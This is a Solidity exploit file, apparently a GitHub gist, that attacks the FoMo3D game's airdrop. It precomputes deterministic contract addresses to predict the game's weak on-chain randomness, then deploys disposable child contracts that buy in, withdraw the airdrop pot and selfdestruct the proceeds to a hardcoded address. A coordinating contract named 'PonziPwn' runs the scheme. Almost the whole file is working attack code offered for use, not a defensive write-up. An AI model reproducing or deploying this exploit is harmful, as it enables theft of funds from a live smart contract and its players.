contract AirDropWinner {
constructor (){
}
}
pragma solidity ^0.4.24;
interface FoMo3DlongInterface {
function buyXid(uint256 _affCode,uint256 _team) external payable;
function airDropTracker_() external returns (uint256);
function airDropPot_() external returns (uint256);
function withdraw() external;
}
interface SUNContractInterface {
function newContract(address,uint256,uint256,bool,bool) payable external ;
}
interface ContractsInterface {
function getContract(uint256 ) external returns (address,uint256) ;
function nonce() external returns (uint256);
function contractNonceAdd(address) external;
}
/*
* Contract addresses are deterministic.
* We find out how many deployments it'll take to get a winning contract address
* then deploy blank contracts until we get to the second last number of deployments to generate a successful address.
*/
//contract which will win the airdrop
contract AirDropWinner {
constructor(address _fomo3d,uint256 affCode,uint256 team,bool sendeth,bool isZero) public payable {
FoMo3DlongInterface fomo3d = FoMo3DlongInterface(_fomo3d);
if (isZero == true){
uint8 count = 0;
while (count <= 10 && fomo3d.airDropPot_() > 0.4 ether ){
if (sendeth == true){
address(_fomo3d).call.value(0.1 ether)();
}else{
fomo3d.buyXid.value(0.1 ether)(affCode,team);
}
fomo3d.withdraw();
count += 1;
}
}
else{
if (sendeth == true){
address(_fomo3d).call.value(0.1 ether)();
}else{
fomo3d.buyXid.value(0.1 ether)(affCode,team);
}
fomo3d.withdraw();
}
selfdestruct(0xAD5723C4f7B4C478E09688f96a7A477B0D1196fd);
}
}
contract sunContract{
function newContract (address fomo3dAdd,uint256 _affCode,uint256 _team,bool sendeth,bool isZero) payable public {
(new AirDropWinner).value(0.1 ether)(fomo3dAdd,_affCode,_team,sendeth,isZero);
}
}
contract Contracts{
mapping (address => bool) private admins;
mapping(address => uint) public contracts;
mapping(uint256 => address) public nums_contracts;
uint256 public nonce = 1;
modifier onlyAdmin() {
require(admins[msg.sender]);
_;
}
function addAdmin (address _admin) onlyAdmin() public {
admins[_admin] = true;
}
function removeAdmin (address _admin) onlyAdmin() public {
delete admins[_admin];
}
constructor () public{
new1(10);
admins[msg.sender] = true;
}
function new1(uint256 len) public {
uint256 end = len+nonce;
while (nonce < end){
address _newSender = address(keccak256(abi.encodePacked(0xd6, 0x94, address(this), byte(nonce))));
new sunContract();
contracts[_newSender] = 1;
nums_contracts[nonce] = _newSender;
nonce += 1;
}
}
function getContract(uint256 i) public view returns(address,uint256){
address c = nums_contracts[i];
uint256 c_nonce = contracts[c];
return (c,c_nonce);
}
function contractNonceAdd(address c) public onlyAdmin {
contracts[c] += 1;
}
}
contract PonziPwn {
mapping (address => bool) private admins;
address public table;
event Info(address a,address b,bool t);
address test;
modifier onlyAdmin() {
require(admins[msg.sender]);
_;
}
function addAdmin (address _admin) onlyAdmin() public {
admins[_admin] = true;
}
function removeAdmin (address _admin) onlyAdmin() public {
delete admins[_admin];
}
constructor(address a) public payable{
table = a;
admins[msg.sender] = true;
}
function ()payable {}
function changeTable(address a) onlyAdmin{
table = a;
}
function run(address fomo3dAdd,uint256 _affCode,uint256 _team,bool _sendeth) public payable onlyAdmin returns(bool){
//The address that a contract deployed by this contract will have
FoMo3DlongInterface fomo3d = FoMo3DlongInterface(fomo3dAdd);
ContractsInterface tableA = ContractsInterface(table);
require(fomo3d.airDropPot_() > 0.4 ether);
address c;
address _newSender;
bool t;
(c,_newSender,t) = goAirdrop(fomo3dAdd);
if (c == address(0)){
return false;
}
emit Info(c,_newSender,t);
SUNContractInterface sun = SUNContractInterface(c);
sun.newContract.value(0.1 ether)(fomo3dAdd,_affCode,_team,_sendeth,t);
//nonce +1
tableA.contractNonceAdd(c);
return true;
}
function goAirdrop(address fomo3dAdd) private view returns (address,address,bool){
//如果随机到0了,则返回 c,true
//如果没有随机到0,则返回 c,false
//如果没有随机到某个值,则返回 address(0x),false
FoMo3DlongInterface fomo3d = FoMo3DlongInterface(fomo3dAdd);
ContractsInterface tableA = ContractsInterface(table);
uint256 _tracker = fomo3d.airDropTracker_();
uint256 nonce = tableA.nonce();
for (uint256 i = 1;i<nonce;i++) {
address c;
uint256 c_nonce;
(c,c_nonce) = tableA.getContract(i);
test = c;
address _newSender = address(keccak256(abi.encodePacked(0xd6, 0x94, c, byte(c_nonce))));
uint256 _seed = uint256(keccak256(abi.encodePacked(
(block.timestamp) +
(block.difficulty) +
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)) +
(block.gaslimit) +
((uint256(keccak256(abi.encodePacked(_newSender)))) / (now)) +
(block.number)
)));
uint256 a = _seed - ((_seed / 1000) * 1000);
if (a==0) {
return (c,_newSender,true);
}
address[] memory c_add = new address[](1);
address[] memory c_new = new address[](1);
if (a < _tracker){
c_add[0] = c;
c_new[0] = _newSender;
}
}
if (c_add[0] != address(0)){
return (c_add[0],c_new[0],false);
}else{
return (address(0),address(0),false);
}
}
//allows withdrawal of funds after selfdestructing of a child contract which return funds to this contract
function withdraw() public onlyAdmin() {
msg.sender.transfer(address(this).balance);
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment